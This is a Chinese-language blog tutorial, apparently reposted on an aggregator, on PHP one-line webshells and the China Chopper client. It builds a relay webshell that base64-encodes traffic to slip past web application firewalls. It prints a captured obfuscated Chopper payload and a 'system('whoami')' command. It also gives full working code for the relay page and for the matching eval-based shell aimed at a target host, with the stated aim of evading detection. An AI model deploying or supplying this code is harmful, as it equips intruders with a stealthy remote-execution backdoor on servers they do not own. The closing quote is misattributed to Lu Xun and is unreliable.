php流量中转,中转Webshell绕过流量检测防护
->_
0x00 前言
前一陣子心情不太好,本來已經不打算寫東西了,但想到自己在學習的時候摸爬滾打,吃盡了苦頭,現在雖小有成就,但仍有很多同行道友在這條道路上不斷摸索,思索再三,還是打算繼續寫下去,算是為迷茫中的人點亮一盞微弱的燈……So,這篇文章寫詳細一些,就當找個愿意聽的人說話了
老規矩,以PHP為例做講解
0x01 原理
這里先給大家介紹一句話木馬和菜刀的工作原理,了解的可以往下面翻
一句話木馬
先說說一句話木馬的原理
先說說eval()這個函數
簡單點說,eval()這個函數會把參數當作代碼來執行
什么叫做把參數當作代碼來執行,簡單舉個例子
phpinfo()函數都明白吧,不明白也沒關系,它執行結果是這樣的
phpinfo()
當把phpinfo()函數作為字符串傳遞給eval()函數時,效果就相當于剛才的代碼
eval('phpinfo()')
關于eval()函數就介紹到此,如果還有不明白的自己翻翻資料,或者私信我
下面再說我們剛才寫的那個一句話木馬,現在理解起來就容易多了,它會把POST傳遞過來的參數c的內容作為PHP代碼執行,具體執行的內容由POST參數決定,比如執行系統命令
POST
c=system('whoami');
whoami
這樣只需要不斷改變POST過來的數據,就可以實現任意功能
這就是一句話木馬的原理
菜刀
理解了一句話木馬的原理后,菜刀的原理就更簡單了
菜刀其實就是根據一句話木馬的原理,將常用的一些操作的代碼封裝好,再結合圖像界面(GUI),實現當你雙擊文件夾時便可列出目錄
為了方便理解這里用wireshark抓個數據包
wireshark
POST
c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D
感興趣的可以將發送的數據代碼自己分析分析,這里就不具體講了
0x02 中轉webshell
先扯點歷史
接著剛才菜刀原理說,既然已知了菜刀是將封裝好的參數根據用戶操作發送給webshell,那么站在防護的角度來講,我可以將主流的菜刀參數都設為黑名單,發現就攔截,甚至我可以對你發送的數據內容進行簡單的自動審計,發現敏感的代碼直接攔截掉
這個就是早期的一些防護軟件的攔截手段
于是,就有了一幫逆向大牛對菜刀進行逆向,將封裝好的參數進行混淆,或者對防護軟件進行fuzz,然后找到不攔截的參數去替換,這樣就能實現一個“過狗”的效果
但是更有一群人渾水摸魚,在外發放了很多捆有后門的菜刀坐收漁翁之利,而且隨著防護軟件越來越完善,找到一些能夠替換的函數代價太大,于是就有了中轉webshell(主要還是因為不會逆向……因為懶……)
中轉webshell的邏輯很簡單,菜刀不直接向shell發送數據,而是發送到中轉的一個頁面上,這個頁面對接收的參數全部進行加密(甚至可以用2048位的RSA,只要你愿意),然后再發送給shell,shell接收后先用同樣的算法進行解密,然后對執行的結果進行加密,返回給中轉shell,中轉shell再去解密,然后返回給菜刀客戶端
這樣就能實現自定義加密算法對菜刀的數據進行加密來繞過一些防護設備,話不多說,上圖
中轉webshell
理解了原理就可以開始造輪子了
0x03 造輪子
中轉shell
set_time_limit(0);
$url = 'http://192.168.157.142:81/shell.php'; //真實shell地址
$opt_data = http_build_query($_POST);
$content = postdata($url,encode($opt_data));
$content = decode($content);
echo $content;
function encode($data){
return base64_encode(base64_encode($data));
}
function decode($data){
return base64_decode(base64_decode($data));
}
function postdata($url,$data){
$curl = curl_init(); //初始化
curl_setopt($curl,CURLOPT_URL,$url); //設置url
curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //設置http驗證方法
curl_setopt($curl,CURLOPT_HEADER,0); //設置頭信息
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //設置curl_exec獲取的信息的返回方式
curl_setopt($curl,CURLOPT_POST,1); //設置發送方式為post請求
curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //設置post的數據
$result = curl_exec($curl);
if($result === false){
echo 'Request False!';
echo curl_errno($curl);
exit();
}
curl_close($curl);
return $result;
}
?>
webshell
function callback($buffer){
return (encode($buffer));
}
ob_start("callback");
parse_str(decode(file_get_contents('php://input')),$_POST);
eval($_POST['c']);
function encode($data){ //加密算法
return base64_encode(base64_encode($data));
}
function decode($data){ //解密算法
return base64_decode(base64_decode($data));
}
ob_end_flush();
?>
效果如下:
1.菜刀連接中轉shell
image.png
2.中轉shell修改真實shell的url
image.png
3.通過菜刀執行系統命令查看ip
image.png
可以看到我們打開的是192.168.157.128的會話,但實際操作的確是我們的目標靶機192.168.157.142
至此結束
0xFF 尾言
身邊每個人都要去珍惜,不要等到失去才后悔莫急
——魯迅
總結
以上是生活随笔為你收集整理的php流量中转,中转Webshell绕过流量检测防护的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java中字段值重复校验,Java中一些
- 下一篇: 动态规划算法php,php算法学习之动态